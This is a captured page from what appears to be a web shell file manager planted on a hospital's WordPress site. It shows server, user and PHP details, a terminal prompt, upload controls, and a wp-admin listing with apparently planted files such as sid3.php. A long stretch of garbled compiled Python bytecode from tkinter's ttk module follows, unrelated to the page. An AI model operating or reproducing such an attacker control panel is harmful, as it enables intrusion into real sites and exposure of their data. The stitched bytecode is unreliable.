✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in/wp-admin
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� css--drwxr-xr-x
� images--drwxr-xr-x
� includes--drwxr-xr-x
� js--drwxr-xr-x
� maint--drwxr-xr-x
� network--drwxr-xr-x
� user--drwxr-xr-x
� about.php17.572 KB-rw-r--r--
� admin-ajax.php5.025 KB-rw-r--r--
� admin-footer.php2.738 KB-rw-r--r--
� admin-functions.php0.461 KB-rw-r--r--
� admin-header.php9.066 KB-rw-r--r--
� admin-post.php1.974 KB-rw-r--r--
� admin.php12.632 KB-rw-r--r--
� async-upload.php5.473 KB-rw-r--r--
� authorize-application.php10.093 KB-rw-r--r--
� comment.php11.37 KB-rw-r--r--
� contribute.php5.523 KB-rw-r--r--
� credits.php4.044 KB-rw-r--r--
� custom-background.php0.471 KB-rw-r--r--
� custom-header.php0.48 KB-rw-r--r--
� customize.php11.314 KB-rw-r--r--
� edit-comments.php14.145 KB-rw-r--r--
� edit-form-advanced.php28.79 KB-rw-r--r--
� edit-form-blocks.php15.164 KB-rw-r--r--
� edit-form-comment.php13.652 KB-rw-r--r--
� edit-link-form.php6.198 KB-rw-r--r--
� edit-tag-form.php10.408 KB-rw-r--r--
� edit-tags.php21.982 KB-rw-r--r--
� edit.php19.484 KB-rw-r--r--
� erase-personal-data.php7.329 KB-rw-r--r--
📄 error_log9.984 KB-rw-r--r--
� export-personal-data.php7.754 KB-rw-r--r--
� export.php11.001 KB-rw-r--r--
� font-library.php1.445 KB-rw-r--r--
� freedoms.php4.467 KB-rw-r--r--
� import.php7.584 KB-rw-r--r--
� index.php7.68 KB-rw-r--r--
� install-helper.php6.798 KB-rw-r--r--
� install.php17.944 KB-rw-r--r--
� link-add.php0.912 KB-rw-r--r--
� link-manager.php4.259 KB-rw-r--r--
� link-parse-opml.php2.657 KB-rw-r--r--
� link.php2.888 KB-rw-r--r--
� load-scripts.php2.021 KB-rw-r--r--
� load-styles.php2.925 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� media-new.php3.173 KB-rw-r--r--
� media-upload.php3.582 KB-rw-r--r--
� media.php0.8 KB-rw-r--r--
� menu-header.php9.816 KB-rw-r--r--
� menu.php17.709 KB-rw-r--r--
� moderation.php0.3 KB-rw-r--r--
� ms-admin.php0.191 KB-rw-r--r--
� ms-delete-site.php4.505 KB-rw-r--r--
� ms-edit.php0.211 KB-rw-r--r--
� ms-options.php0.224 KB-rw-r--r--
� ms-sites.php0.21 KB-rw-r--r--
� ms-themes.php0.212 KB-rw-r--r--
� ms-upgrade-network.php0.214 KB-rw-r--r--
� ms-users.php0.21 KB-rw-r--r--
� my-sites.php4.718 KB-rw-r--r--
� nav-menus.php49.022 KB-rw-r--r--
� network.php5.394 KB-rw-r--r--
� options-connectors.php1.507 KB-rw-r--r--
� options-discussion.php16.019 KB-rw-r--r--
� options-general.php22.319 KB-rw-r--r--
� options-head.php0.6 KB-rw-r--r--
� options-media.php6.484 KB-rw-r--r--
� options-permalink.php21.964 KB-rw-r--r--
� options-privacy.php10.453 KB-rw-r--r--
� options-reading.php9.959 KB-rw-r--r--
� options-writing.php9.184 KB-rw-r--r--
� options.php13.932 KB-rw-r--r--
� plugin-editor.php13.741 KB-rw-r--r--
� plugin-install.php7.259 KB-rw-r--r--
� plugins.php30.023 KB-rw-r--r--
� post-new.php2.703 KB-rw-r--r--
� post.php10.567 KB-rw-r--r--
� press-this.php2.412 KB-rw-r--r--
� privacy-policy-guide.php3.668 KB-rw-r--r--
� privacy.php2.453 KB-rw-r--r--
� profile.php0.276 KB-rw-r--r--
� revision.php5.699 KB-rw-r--r--
� setup-config.php17.508 KB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� site-editor.php12.19 KB-rw-r--r--
� site-health-info.php4.075 KB-rw-r--r--
� site-health.php10.183 KB-rw-r--r--
� term.php2.196 KB-rw-r--r--
� theme-editor.php16.874 KB-rw-r--r--
� theme-install.php23.745 KB-rw-r--r--
� themes.php48.563 KB-rw-r--r--
� tools.php3.432 KB-rw-r--r--
� update-core.php45.119 KB-rw-r--r--
� update.php12.756 KB-rw-r--r--
� upgrade-functions.php0.333 KB-rw-r--r--
� upgrade.php6.24 KB-rw-r--r--
� upload.php14.934 KB-rw-r--r--
� user-edit.php40.863 KB-rw-r--r--
� user-new.php24.086 KB-rw-r--r--
� users.php25.096 KB-rw-r--r--
� widgets-form-blocks.php5.112 KB-rw-r--r--
� widgets-form.php19.129 KB-rw-r--r--
� widgets.php1.086 KB-rw-r--r--
Ë â{|jþÛãó"—dZdZdZgd¢ZddlZddlmZmZmZmZdBd„Z dCd„Z d „Z dBd „Z dBd „Z dDd „Zd „Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZdEd„ZGd„de«ZGd„dej4«ZGd„de«ZGd„de«ZGd„deej:«ZGd „d!e«ZGd"„d#e«ZGd$„d%e«Z Gd&„d'e«Z!e!Z"Gd(„d)e«Z#Gd*„d+e«Z$Gd,„d-eejJ«Z&e&Z%Gd.„d/e«Z'Gd0„d1e«Z(Gd2„d3eejR«Z)Gd4„d5eejT«Z*Gd6„d7e«Z+Gd8„d9e«Z,Gd:„d;e«Z-Gd<„d=eej\ej^«Z0Gd>„d?e«Z1Gd@„dAe#«Z2y)FaæTtk wrapper. This module provides classes to allow using Tk themed widget set. Ttk is based on a revised and enhanced version of TIP #48 (http://tip.tcl.tk/48) specified style engine. Its basic idea is to separate, to the extent possible, the code implementing a widget's behavior from the code implementing its appearance. Widget class bindings are primarily responsible for maintaining the widget state and invoking callbacks, all aspects of the widgets appearance lies at Themes. z0.3.1z!Guilherme Polo )ÚButtonÚ CheckbuttonÚComboboxÚEntryÚFrameÚLabelÚ LabelframeÚ LabelFrameÚ MenubuttonÚNotebookÚ PanedwindowÚ PanedWindowÚ ProgressbarÚ RadiobuttonÚScaleÚ ScrollbarÚ SeparatorÚSizegripÚSpinboxÚStyleÚTreeviewÚ LabeledScaleÚ OptionMenuÚ tclobjs_to_pyÚ setup_masteréN)Ú_flattenÚ_joinÚ _stringifyÚ _splitdictcóf—|r t|«}|St|ttf«r t |«}|S)zInternal function.)rÚ isinstanceÚlistÚtupler)ÚvalueÚscripts ú$/usr/lib64/python3.12/tkinter/ttk.pyÚ_format_optvaluer' s6€á ô˜5Ó!ˆð €Lô �EœD¤%˜=Ô )Ü�e“ ˆØ €Lócó¾—g}|j«D]>\}}|r||vsŒ |jd|z«|€Œ$|jt||««Œ@t|«S)z¿Formats optdict to a tuple to pass it to tk.call. E.g. (script=False): {'foreground': 'blue', 'padding': [1, 2, 3, 4]} returns: ('-foreground', 'blue', '-padding', '1 2 3 4')ú-%s)ÚitemsÚappendr'r)Úoptdictr%ÚignoreÚoptsÚoptr$s r&Ú_format_optdictr1*s]€ð €DØ—m‘m–o‰ ˆˆUÙ˜ FÒ*Ø �K‰K˜ ™ Ô $ØÑ Ø— ‘ Ô,¨U°FÓ;Õ<ð &ô �D‹>Ðr(cóº—g}|D]S�^}}t|«dk(r |dxsd}ndj|«}|j|«|€ŒC|j|«ŒU|S)NérÚÚ )ÚlenÚjoinr,)r+Úopt_valÚstateÚvals r&Ú_mapdict_valuesr;:sd€ð€GÛ‰ ˆ�Ü ˆu‹:˜Š?ð˜!‘H’N ‰Eð—H‘H˜U“OˆEØ�‰�uÔØ ‰?Ø �N‰N˜3Õ ðð €Nr(c óž—g}|j«D].\}}|jd|ztt|«|«f«Œ0t |«S)zÜFormats mapdict to pass it to tk.call. E.g. (script=False): {'expand': [('active', 'selected', 'grey'), ('focus', [1, 2, 3, 4])]} returns: ('-expand', '{active selected} grey focus {1, 2, 3, 4}')r*)r+Úextendr'r;r)Úmapdictr%r/r0r$s r&Ú_format_mapdictr?OsQ€ð €DØ—m‘m–o‰ ˆˆUØ � ‰ �U˜S‘[Ü%¤o°eÓ&<¸fÓEðGõ Hð&ô �D‹>Ðr(cóX—d}d}|dvr_|dk(r$|d}tt|dd««}|›d|›�}n)|dd\}} tt|dd««} |›d| ›d| ›�}t||«}n(|d k(r#|d}t|«dkDrt |d|«f}|rd |z}dj |«}||fS) zAFormats args and kw according to the given element factory etype.N©)ÚimageÚvsapirBrr3r5éÚfromz{%s})rr;r1r6r'r7) Úetyper%ÚargsÚkwÚspecr/ÚinameÚ imagespecÚ class_nameÚpart_idÚstatemaps r&Ú_format_elemcreaterO`sÙ€à €DØ €DØ Ð"Ñ"Ø �GÒ à˜‘GˆEôœo¨d°1°2¨hÓ7Ó8ˆIÚ#¡YÐ/‰Dð#' r¨ (Ñ ˆJ˜Üœ_¨T°!°"¨XÓ6Ó7ˆHÚ!+ªW±hÐ?ˆDä˜r 6Ó*‰à �&Šð�A‰wˆÜ ˆt‹9�qŠ=Ü$ T¨!¡W¨fÓ5Ð7ˆDá Ø˜‰}ˆØ�x‰x˜‹~ˆà �ˆ:Ðr(cóŠ—g}|D]ª}|\}}|xsi}djt|dd««}d|z›|›|rd|znd›�}d|vrZ|j|dz«||z }t|d||«\} }|j| «||z}|jdd|zz«Œš|j|«Œ¬d j|«|fS) a$Formats a layout list so we can pass the result to ttk::style layout and ttk::style settings. Note that the layout doesn't have to be a list necessarily. E.g.: [("Menubutton.background", None), ("Menubutton.button", {"children": [("Menubutton.focus", {"children": [("Menubutton.padding", {"children": [("Menubutton.label", {"side": "left", "expand": 1})] })] })] }), ("Menubutton.indicator", {"side": "right"}) ] returns: Menubutton.background Menubutton.button -children { Menubutton.focus -children { Menubutton.padding -children { Menubutton.label -side left -expand 1 } } } Menubutton.indicator -side rightr5T)Úchildrenz %sr4rQz -children {z%s}Ú )r7r1r,Ú_format_layoutlist) ÚlayoutÚindentÚ indent_sizer%Ú layout_elemÚelemr/ÚfoptsÚheadÚ newscripts r&rSrS…sâ€ð8€Fãˆ Ø ‰ ˆˆdØŠz�rˆØ—‘œ¨¨t°]ÓCÓDˆØ š<©Á%°¸² ÈRÐ/OÐPˆà ˜Ñ Ø �M‰M˜$ Ñ/Ô 0Ø �kÑ !ˆFÜ 2°4¸ Ñ3CÀVØó!Ñ ˆI�và �M‰M˜)Ô $Ø �kÑ !ˆFØ �M‰M˜% 3¨¡<Ñ0Õ 1à �M‰M˜$Õ ðð" �9‰9�VÓ ˜fÐ $Ð$r(c ó<—g}|j«D�]v\}}|jd«r6djt|dd««}|j d|›d|›d�«|jd«r6djt |dd««}|j d|›d|›d�«d|vr1|dsd }nt |d«\}}|j d |›d |›d �«|jd «sŒÜ|d }|d}d}|t|«kr2t||d«s#|dz }|t|«krt||d«sŒ#|d|} |t|«kr ||r||ni} t|dg| ¢­i| ¤Ž\} }|j d|›d|›d| ›d|›�«�Œydj|«S)z�Returns an appropriate script, based on settings, according to theme_settings definition to be used by theme_settings and theme_create.Ú configurer5Tzttk::style configure Ú;Úmapzttk::style map rTÚnullzttk::style layout z { z }zelement createrr3r+zttk::style element create rR) r+Úgetr7r1r,r?rSr6ÚhasattrrO) Úsettingsr%Únamer/ÚsÚ_ÚeoptsrFÚargcÚelemargsÚelemkwrIs r&Ú_script_from_settingsrk¶s—€ð€Fð—n‘n×&‰ ˆˆdà �8‰8�KÔ Ø—‘œ¨¨kÑ):¸DÓAÓBˆAØ �MŠMº4ÂÐCÔ Dà �8‰8�EŒ?Ø—‘œ¨¨e©°dÓ;Ó<ˆAØ �MŠM²Tº1Ð=Ô >à �tÑ Ø˜’>Ø‘ä)¨$¨x©.Ó9‘��1Ø �MŠMºTÂ1ÐEÔ Fà �8‰8Ð$Õ %ØÐ)Ñ*ˆEؘ!‘HˆEðˆDØœ˜U›Ò#¬G°E¸$±KÀÔ,Iؘ‘ �ðœ˜U›Ò#¬G°E¸$±KÀÕ,Ið˜Q˜t�}ˆHØ$(¬3¨u«:Ò$5¸%Àº+�U˜4’[È2ˆFÜ+¨E°4ÐM¸(ÒMÀfÑM‰JˆD�$à �MŠMÚ’ešT¡4ð)ö *ð='ðB �9‰9�VÓ Ðr(có†—t|t«r|Sg}t|«}t||«D]’\}}t |d«rt|«j «}n:t|t«r|j «}nt|t tf«s|f}t |d«r t|«}|jg|¢|‘­«Œ”|S)ztConstruct a list from the given statespec tuple according to the accepted statespec accepted by _format_mapdict.Útypename) r!ÚstrÚiterÚziprbÚsplitr#r"r,)ÚstupleÚresultÚitr9r:s r&Ú_list_from_statespecruàs©€ô�&œ#ÔØˆ Ø €FÜ ˆf‹€Bܘ"˜b–k‰ ˆˆsÜ �5˜*Ô %ܘ“J×$Ñ$Ó&‰EÜ ˜œsÔ #Ø—K‘K“M‰EܘE¤E¬4 =Ô1Ø�HˆEÜ �3˜ Ô #Ü�c“(ˆCØ� ‰ �m˜�m˜s‘mÕ$ð"ð €Mr(có\—|j|«}g}d}|t|«krˆ||}i}|j||f«|dz }|t|«krL|||dz\}}|jd«sn/|dd}|dz }|dk(r t ||«}|||<|t|«krŒL|t|«krŒˆ|S)zpConstruct a list from the tuple returned by ttk::layout, this is somewhat the reverse of _format_layoutlist.rr3rDÚ-NrQ)Ú splitlistr6r,Ú startswithÚ_list_from_layouttuple)ÚtkÚltupleÚresÚindxrdr/r0r:s r&rzrzôsÒ€ð�\‰\˜&Ó !€FØ €Cà €DØ ”�V“Ò Ø�d‰|ˆØˆØ � ‰ �D˜$�<Ô Ø �‰ ˆà”S˜“[Ò Ø˜d 4¨!¡8Ð,‰HˆC�Ø—>‘> #Ô&Øà�a�b�'ˆCØ �A‰IˆDà�jÒ Ü,¨R°Ó5�àˆD�‰Ið”S˜“[Ó ð ”�V“Ó ð& €Jr(có€—t|«}|j||zŽ}t|«dzr|St||t¬«S)ahFormat options then call Tk command with args and options and return the appropriate result. If no option is specified, a dict is returned. If an option is specified with the None value, the value for that option is returned. Otherwise, the function just sets the passed options and the caller shouldn't be expecting a return value anyway.rD)Úconv)r1Úcallr6rÚ _tclobj_to_py)r{ÚoptionsrGr}s r&Ú _val_or_dictr„sB€ô˜gÓ&€GØ ˆ"�'‰'�D˜7‘NÐ $€Cä ˆ7ƒ|�aÒØˆ ä �b˜#¤MÔ 2Ð2r(có`—t|«} t|«}|S#ttf$rY|SwxYw)zAConverts a value to, hopefully, a more appropriate Python object.)rnÚintÚ ValueErrorÚ TypeError)r$s r&Ú_convert_stringvalr‰ s>€ä �‹J€Eð Ü�E“ ˆð €Løô œ Ð "ò Ø à €Lð ús � š-¬-có^—t|t«rd|vr t|«}|St|«}|S)NÚ.)r!rnÚfloatr†)Úxs r&Ú _to_numberrŽ*s3€Ü�!”SÔØ �!‰8Ü�a“ˆAð €Hô�A“ˆAØ €Hr(cóæ—|rWt|d«rKt|t«s;t|ddd«dk(r t |«}|St t t|««}|St|d«r t|«}|S)z8Return value converted from Tcl object to Python object.Ú__len__rrmNÚ StateSpec)rbr!rnÚgetattrrur"r_r‰)r:s r&r‚r‚2ss€á Œw�s˜IÔ&¬z¸#¼sÔ/CÜ �3�q‘6˜: tÓ ,° Ò ;Ü& sÓ+ˆCð €Jô ”sÔ-¨sÓ3Ó4ˆCð €Jô ��jÔ !Ü  Ó%ˆà €Jr(cóR—|j«D]\}}t|«||<Œ|S)zOReturns adict with its values converted from Tcl objects to Python objects.)r+r‚)Úadictr0r:s r&rr?s-€ð—K‘K–M‰ˆˆSÜ" 3Ó'ˆˆcŠ ð"ð €Lr(có2—|€tj«}|S)aIf master is not None, itself is returned. If master is None, the default master is returned if there is one, otherwise a new master is created and returned. If it is not allowed to use the default root and master is None, RuntimeError is raised.)ÚtkinterÚ_get_default_root)Úmasters r&rrGs€ð€~Ü×*Ñ*Ó,ˆØ €Mr(cój—eZdZdZdZdd„Zdd„Zdd„Zdd„Zdd„Z d „Z d „Z d „Z dd „Z d „Zd„Zdd„Zy)rzManipulate style database.z ttk::styleNcó^—t|«}||_|jj|_y©N)rr˜r{)Úselfr˜s r&Ú__init__zStyle.__init__Xs"€Ü˜fÓ%ˆØˆŒ Ø—+‘+—.‘.ˆ�r(c ód—|�d||<t|j||jd|«}|s|r|Sy)zÐQuery or sets the default value of the specified option(s) in style. Each key in kw is an option and each value is either a string or a sequence identifying the value for that option.Nr])r„r{Ú_name)rœÚstyleÚ query_optrHrss r&r]zStyle.configure^s<€ð Ð Ø ˆBˆy‰MܘdŸg™g r¨4¯:©:°{ÀEÓJˆÙ ‘Y؈Mðr(c óÈ—|�O|jj|jd|d|z«}t|jj |««S|jj|jd|gt |«¢­Ž}t |j|«j«D��cic]*\}}|t|jj |««“Œ,c}}Scc}}w)aSQuery or sets dynamic values of the specified option(s) in style. Each key in kw is an option and each value should be a list or a tuple (usually) containing statespecs grouped in tuples, or list, or something else of your preference. A statespec is compound of one or more states and then a value.r_r*)r{r�rŸrurxr?rr+)rœr r¡rHrsÚkÚvs r&r_z Style.mapksÆ€ð Ð Ø—W‘W—\‘\ $§*¡*¨e°U¸EÀIÑð >r(có‚—t|dg|¢­i|¤Ž\}}|jj|jdd|||g|¢­Žy)z9Create a new element in the current theme of given etype.FÚelementÚcreateN)rOr{r�rŸ)rœÚ elementnamerFrGrHrIr/s r&Úelement_createzStyle.element_create³sG€ä'¨¨uÐB°tÒB¸rÑB‰ ˆˆd؈�‰� ‰ �T—Z‘Z ¨H°kÀ5Ø ð Øô r(c ó¢—td„|jj|jj|jdd««D««S)z:Returns the list of elements defined in the current theme.c3ó>K—|]}|jd«–—Œy­w©rwN©Úlstrip)Ú.0Úns r&Ú z&Style.element_names..¼s!èø€ð;ñ-: q�Q—X‘X˜c—]ñ-:ùó‚r­Únames©r#r{rxr�rŸ©rœs r&Ú element_nameszStyle.element_namesºsB€äñ;¨D¯G©G×,=Ñ,=Ø �G‰G�L‰L˜Ÿ™ Y°Ó 8ô-:ó;ó;ð ;r(c ó¤—td„|jj|jj|jdd|««D««S)z)Return the list of elementname's options.c3ó>K—|]}|jd«–—Œy­wr³r´)r¶Úos r&r¸z(Style.element_options..Âs$èø€ðJñ-I q�Q—X‘X˜c—]ñ-Iùr¹r­rƒr»)rœr¯s r&Úelement_optionszStyle.element_optionsÀsI€äñJ¨D¯G©G×,=Ñ,=Ø �G‰G�L‰L˜Ÿ™ Y° ¸;Ó Gô-IóJóJð Jr(c óÔ—|r t|«nd}|r-|jj|jdd|d|d|«y|jj|jdd|d|«y)a.Creates a new theme. It is an error if themename already exists. If parent is specified, the new theme will inherit styles, elements and layouts from the specified parent theme. If settings are present, they are expected to have the same syntax used for theme_settings.r4Úthemer®z-parentz -settingsN©rkr{r�rŸ)rœÚ themenameÚparentrcr%s r&Ú theme_createzStyle.theme_createÆs^€ñ5=Ô& xÔ0À"ˆá Ø �G‰G�L‰L˜Ÿ™ W¨h¸ ؘ6 ;°õ 8ð �G‰G�L‰L˜Ÿ™ W¨h¸ ؘVõ %r(cól—t|«}|jj|jdd||«y)a�Temporarily sets the current theme to themename, apply specified settings and then restore the previous theme. Each key in settings is a style and each value may contain the keys 'configure', 'map', 'layout' and 'element create' and they are expected to have the same format as specified by the methods configure, map, layout and element_create respectively.rÃrcNrÄ)rœrÅrcr%s r&Útheme_settingszStyle.theme_settings×s*€ô' xÓ0ˆØ �‰� ‰ �T—Z‘Z ¨*°iÀÕHr(có‚—|jj|jj|jdd««S)z#Returns a list of all known themes.rÃrº)r{rxr�rŸr¼s r&Ú theme_nameszStyle.theme_namesãs,€à�w‰w× Ñ  §¡§¡¨d¯j©j¸'À7Ó!KÓLÐLr(cóv—|€|jjd«S|jjd|«y)z¨If themename is None, returns the theme in use, otherwise, set the current theme to themename, refreshes all widgets and emits a <> event.Nzreturn $ttk::currentThemez ttk::setTheme)r{Úevalr�)rœrÅs r&Ú theme_usezStyle.theme_useès4€ð Ð ð—7‘7—<‘<Ð ;Ó<Ð <ð �‰� ‰ �_ iÕ0r(r›©NN)Ú__name__Ú __module__Ú __qualname__Ú__doc__rŸr�r]r_r¦rTr°r½rÁrÇrÉrËrÎrAr(r&rrSsK„Ù$à €Eó!ó óAó" ó(>òVò;ò Jó %ò" IòMô 1r(rcó.—eZdZdZdd„Zd„Zdd„Zdd„Zy)ÚWidgetz!Base class for Tk themed widgets.Ncó`—t|«}tjj||||¬«y)a´Constructs a Ttk Widget with the parent master. STANDARD OPTIONS class, cursor, takefocus, style SCROLLABLE WIDGET OPTIONS xscrollcommand, yscrollcommand LABEL WIDGET OPTIONS text, textvariable, underline, image, compound, width WIDGET STATES active, disabled, focus, pressed, selected, background, readonly, alternate, invalid )rHN)rr–rÕr�)rœr˜Ú widgetnamerHs r&r�zWidget.__init__ús)€ô(˜fÓ%ˆÜ�‰×Ñ  f¨j¸RÐÕ@r(cóR—|jj|jd||«S)zºReturns the name of the element at position x, y, or the empty string if the point does not lie within any element. x and y are pixel coordinates relative to the widget.Úidentify©r{r�Ú_w©rœr�Úys r&rÙzWidget.identifys!€ð �w‰w�|‰|˜DŸG™G Z°°AÓ6Ð6r(c ó¼—|jj|jj|jddj |«««}|r |�||i|¤ŽS|S)a1Test the widget's state. If callback is not specified, returns True if the widget state matches statespec and False otherwise. If callback is specified, then it will be invoked with *args, **kw if the widget state matches statespec. statespec is expected to be a sequence.Úinstater5)r{Ú getbooleanr�rÛr7)rœÚ statespecÚcallbackrGrHÚrets r&rßzWidget.instatesW€ð�g‰g× Ñ Ø—‘— ‘ ˜TŸW™W i°·±¸)Ó1DÓEóGˆá �8Ð'Ù˜TÐ( RÑ(Ð (àˆ r(c óº—|�dj|«}|jjt|jj |j d|«««S)aModify or inquire widget state. Widget state is returned if statespec is None, otherwise it is set according to the statespec flags and then a new state spec is returned indicating which flags were changed. statespec is expected to be a sequence.r5r9)r7r{rxrnr�rÛ)rœrás r&r9z Widget.state)sG€ð Ð ØŸ™ Ó+ˆIà�w‰w× Ñ ¤ T§W¡W§\¡\°$·'±'¸7ÀIÓ%NÓ!OÓPÐPr(r›)rÐrÑrÒrÓr�rÙrßr9rAr(r&rÕrÕ÷s„Ù+óAò07ó ô Qr(rÕcó—eZdZdZdd„Zd„Zy)rzcTtk Button widget, displays a textual label and/or image, and evaluates a command when pressed.Nc ó4—tj||d|«y)aConstruct a Ttk Button widget with the parent master. STANDARD OPTIONS class, compound, cursor, image, state, style, takefocus, text, textvariable, underline, width WIDGET-SPECIFIC OPTIONS command, default, width z ttk::buttonN©rÕr�©rœr˜rHs r&r�zButton.__init__:s€ô �‰˜˜f m°RÕ8r(cóN—|jj|jd«S)z/Invokes the command associated with the button.ÚinvokerÚr¼s r&rêz Button.invokeIs€à�w‰w�|‰|˜DŸG™G XÓ.Ð.r(r›©rÐrÑrÒrÓr�rêrAr(r&rr6s„ñ)ó 9ó/r(rcó—eZdZdZdd„Zd„Zy)rz;Ttk Checkbutton widget which is either in on- or off-state.Nc ó4—tj||d|«y)a'Construct a Ttk Checkbutton widget with the parent master. STANDARD OPTIONS class, compound, cursor, image, state, style, takefocus, text, textvariable, underline, width WIDGET-SPECIFIC OPTIONS command, offvalue, onvalue, variable zttk::checkbuttonNrçrès r&r�zCheckbutton.__init__Qó€ô �‰˜˜fÐ&8¸"Õ=r(cóN—|jj|jd«S)aWToggles between the selected and deselected states and invokes the associated command. If the widget is currently selected, sets the option variable to the offvalue option and deselects the widget; otherwise, sets the option variable to the option onvalue. Returns the result of the associated command.rêrÚr¼s r&rêzCheckbutton.invoke`s€ð�w‰w�|‰|˜DŸG™G XÓ.Ð.r(r›rërAr(r&rrNs„ÙEó >ó/r(rcó*—eZdZdZdd„Zd„Zd„Zd„Zy)rzeTtk Entry widget displays a one-line text string and allows that string to be edited by the user.Nc ó<—tj|||xsd|«y)a…Constructs a Ttk Entry widget with the parent master. STANDARD OPTIONS class, cursor, style, takefocus, xscrollcommand WIDGET-SPECIFIC OPTIONS exportselection, invalidcommand, justify, show, state, textvariable, validate, validatecommand, width VALIDATION MODES none, key, focus, focusin, focusout, all z ttk::entryNrç)rœr˜ÚwidgetrHs r&r�zEntry.__init__os€ô �‰˜˜f fÒ&<° ¸bÕAr(cón—|j|jj|jd|««S)zqReturn a tuple of (x, y, width, height) which describes the bounding box of the character given by index.Úbbox©Ú_getintsr{r�rÛ)rœÚindexs r&rôz Entry.bbox‚s(€ð�}‰}˜TŸW™WŸ\™\¨$¯'©'°6¸5ÓAÓBÐBr(cóR—|jj|jd||«S)zxReturns the name of the element at position x, y, or the empty string if the coordinates are outside the window.rÙrÚrÜs r&rÙzEntry.identifyˆó!€ð�w‰w�|‰|˜DŸG™G Z°°AÓ6Ð6r(có€—|jj|jj|jd««S)zÉForce revalidation, independent of the conditions specified by the validate option. Returns False if validation fails, True if it succeeds. Sets or clears the invalid state accordingly.Úvalidate©r{ràr�rÛr¼s r&rûzEntry.validateŽs,€ð�w‰w×!Ñ! $§'¡'§,¡,¨t¯w©w¸ Ó"CÓDÐDr(rÏ)rÐrÑrÒrÓr�rôrÙrûrAr(r&rrks„ñ(óBò&Cò 7ó Er(rcó&—eZdZdZdd„Zdd„Zd„Zy)rzMTtk Combobox widget combines a text field with a pop-down list of values.Nc ó4—tj||dfi|¤Žy)aConstruct a Ttk Combobox widget with the parent master. STANDARD OPTIONS class, cursor, style, takefocus WIDGET-SPECIFIC OPTIONS exportselection, justify, height, postcommand, state, textvariable, values, width z ttk::comboboxN©rr�rès r&r�zCombobox.__init__™s€ô �‰�t˜V _Ñ;¸Ó;r(cóâ—|€G|jj|jd«}|dk(ry|jj|«S|jj|jd|«S)aIf newindex is supplied, sets the combobox value to the element at position newindex in the list of values. Otherwise, returns the index of the current value in the list of values or -1 if the current value does not appear in the list.Úcurrentr4éÿÿÿÿ)r{r�rÛÚgetint)rœÚnewindexr}s r&rzCombobox.current¨sZ€ð Ð Ø—'‘'—,‘,˜tŸw™w¨ Ó2ˆCØ�bŠyØØ—7‘7—>‘> #Ó&Ð &Ø�w‰w�|‰|˜DŸG™G Y°Ó9Ð9r(cóR—|jj|jd|«y)z(Sets the value of the combobox to value.ÚsetNrÚ©rœr$s r&rz Combobox.setµó€à �‰� ‰ �T—W‘W˜e UÕ+r(r›)rÐrÑrÒrÓr�rrrAr(r&rr•s„ñó <ó :ó,r(rcó—eZdZdZdd„Zy)rzJTtk Frame widget is a container, used to group other widgets together.Nc ó4—tj||d|«y)zÓConstruct a Ttk Frame with parent master. STANDARD OPTIONS class, cursor, style, takefocus WIDGET-SPECIFIC OPTIONS borderwidth, relief, padding, width, height z ttk::frameNrçrès r&r�zFrame.__init__¾ó€ô �‰˜˜f l°BÕ7r(r›©rÐrÑrÒrÓr�rAr(r&rrºs „ñô 8r(rcó—eZdZdZdd„Zy)rz7Ttk Label widget displays a textual label and/or image.Nc ó4—tj||d|«y)aGConstruct a Ttk Label with parent master. STANDARD OPTIONS class, compound, cursor, image, style, takefocus, text, textvariable, underline, width WIDGET-SPECIFIC OPTIONS anchor, background, font, foreground, justify, padding, relief, text, wraplength z ttk::labelNrçrès r&r�zLabel.__init__Ïs€ô �‰˜˜f l°BÕ7r(r›r rAr(r&rrÌs „ÙAô 8r(rcó—eZdZdZdd„Zy)rz Ttk Labelframe widget is a container used to group other widgets together. It has an optional label, which may be a plain text string or another widget.Nc ó4—tj||d|«y)zùConstruct a Ttk Labelframe with parent master. STANDARD OPTIONS class, cursor, style, takefocus WIDGET-SPECIFIC OPTIONS labelanchor, text, underline, padding, labelwidget, width, height zttk::labelframeNrçrès r&r�zLabelframe.__init__äs€ô �‰˜˜fÐ&7¸Õ